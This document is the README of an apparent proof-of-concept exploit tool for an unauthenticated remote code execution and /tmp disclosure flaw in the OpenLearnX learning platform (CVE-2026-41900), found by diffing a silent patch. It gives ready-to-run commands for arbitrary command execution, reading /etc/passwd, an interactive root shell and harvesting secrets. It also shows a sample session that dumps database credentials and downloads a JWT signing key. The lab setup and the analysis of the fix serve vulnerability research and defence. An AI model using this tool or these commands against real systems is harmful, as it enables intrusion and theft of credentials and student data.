## https://sploitus.com/exploit?id=43546557-02D2-5564-B898-D4A0899DCB36
OpenLearnX-RCE
OpenLearnX Unauthenticated RCE via Container Volume Mount
Diff-based discovery โ Silent patch โ Sandbox escape โ Full /tmp disclosure
| Property | Value |
|---------------------------|----------------------------------------------------------|
| **Name** | OpenLearnX-RCE
| **CVE** | CVE-2026-41900 |
| **GHSA** | GHSA-8h25-q488-4hxw |
| **Type** | Unauthenticated Info Disclosure / RCE |
| **Affected** | OpenLearnX
---
## How I Found It
[OSDC](https://christbowel.github.io/OSDC/silent.html) (my automated patch intelligence pipeline) flagged a silent advisory on OpenLearnX โ GHSA-8h25-q488-4hxw dropped with zero technical details. I pulled the fix commit (`14765d7`) and diffed it against its parent (`d19c4e4`).
The diff told the whole story: `execute_in_container()` in `backend/routes/coding.py` was gutted and replaced by a hardened `real_compiler_service`. The old code wrote user-supplied code to a tempfile, then mounted `os.path.dirname(temp_file)` โ which resolves to `/tmp` โ into a sibling Docker container as a read-only volume. No `user=`, no `cap_drop`, no `security_opt`. Root by default.
The kicker: the `compiler` blueprint at `/api/compiler/execute` has **no authentication decorator**. Any unauthenticated request can trigger code execution through the vulnerable container setup.
I isolated the pre-patch code in a local lab, confirmed all vectors, and wrote this PoC.
---
## Vulnerability Summary
```
POST /api/compiler/execute (no auth)
โ
โผ
execute_in_container(user_code)
โ
โโ tempfile.NamedTemporaryFile(suffix='.py') โ /tmp/tmpXXXXXX.py
โ
โโ volumes = { os.path.dirname(temp_file): { "bind": "/app", "mode": "ro" } }
โ โ
โ โโ resolves to /tmp โ ENTIRE /tmp mounted into container
โ
โโ No user= โ runs as root (UID 0)
โโ No cap_drop โ default Docker capabilities
โโ No security_opt โ default seccomp profile
โ
โโ Attacker reads: secrets, creds, JWT keys, other users' submissions
```
---
## Gadgets
| Gadget | Severity | CWE | Description |
|----------------|------------|---------|--------------------------------------------|
| `listing` | HIGH | CWE-538 | Directory listing of /tmp via volume mount |
| `secrets` | CRITICAL | CWE-538 | Read credentials, keys, configs from /tmp |
| `submissions` | HIGH | CWE-538 | Read other students' code submissions |
| `rootcheck` | MEDIUM | CWE-250 | Confirm UID 0 (root) execution |
| `caps` | MEDIUM | CWE-250 | Dump effective Linux capabilities |
---
## Installation
```bash
git clone https://github.com/Christbowel/CVE-2026-41900-POC.git
cd CVE-2026-41900-POC
# No dependencies โ stdlib only
chmod +x exploit.py
```
---
## Usage
```bash
# Check if a target is vulnerable
python3 exploit.py --check http://target:5000
# Run all gadgets + generate evidence JSON
python3 exploit.py --exploit http://target:5000
# Execute a single command
python3 exploit.py -c "id" http://target:5000
python3 exploit.py -c "cat /etc/passwd" http://target:5000
# Drop into interactive shell
python3 exploit.py --shell http://target:5000
# Run specific gadgets
python3 exploit.py --gadget secrets http://target:5000
python3 exploit.py --gadget listing --gadget caps http://target:5000
```
### Shell Commands
Once inside `--shell`, you get a pseudo-interactive shell. Each command spawns a new ephemeral container.
```
root@container:/app# id
uid=0(root) gid=0(root)
root@container:/app# ls -la /app/
total 28
-rw-r--r-- 1 root root 121 May 6 openlearnx_db_creds.conf
-rw-r--r-- 1 root root 235 May 6 jwt_signing_key.pem
-rw-r--r-- 1 root root 298 May 6 student_submission_8842.py
root@container:/app# cat /app/openlearnx_db_creds.conf
MONGO_URI=mongodb://admin:S3cretPa$$w0rd@db.internal:27017/openlearnx
root@container:/app# download jwt_signing_key.pem
[+] Downloaded jwt_signing_key.pem (235B)
root@container:/app# exit
```
---
## Lab Setup
To reproduce locally:
```bash
cd lab/
docker compose up -d --build
sleep 3
python3 ../exploit.py --exploit http://localhost:5000
```
The lab deploys a containerized Flask app reproducing the pre-patch `execute_in_container()` with:
- Docker socket mounted (sibling container pattern)
- `/tmp` shared between host and app container
- Seed files simulating secrets and student submissions
---
## Fix Analysis
Commit `14765d7` replaced `execute_in_container()` with `real_compiler_service` which applies:
```python
container = docker_client.containers.run(
image,
volumes={temp_dir: {"bind": "/workspace", "mode": "rw"}}, # isolated tmpdir per exec
cap_drop=["ALL"], # drop all capabilities
security_opt=["no-new-privileges:true"], # prevent priv esc
user="65534:65534", # nobody, not root
...
)
```
---
## Timeline
| Date | Event |
|------------|-----------------------------------------------------|
| 2026-04 | OSDC flags silent advisory GHSA-8h25-q488-4hxw |
| 2026-04 | Diff analysis of commit `14765d7` vs parent `d19c4e4`|
| 2026-05 | Lab reproduction and PoC development |
| 2026-05-06 | Full PoC confirmed โ all 5 vectors validated |
---
## Disclaimer
This tool is provided for **authorized security testing and educational purposes only**. Only use against systems you own or have explicit written permission to test. Unauthorized access to computer systems is illegal.
---
Christbowel ยท christbowel.com ยท Balgo Security Team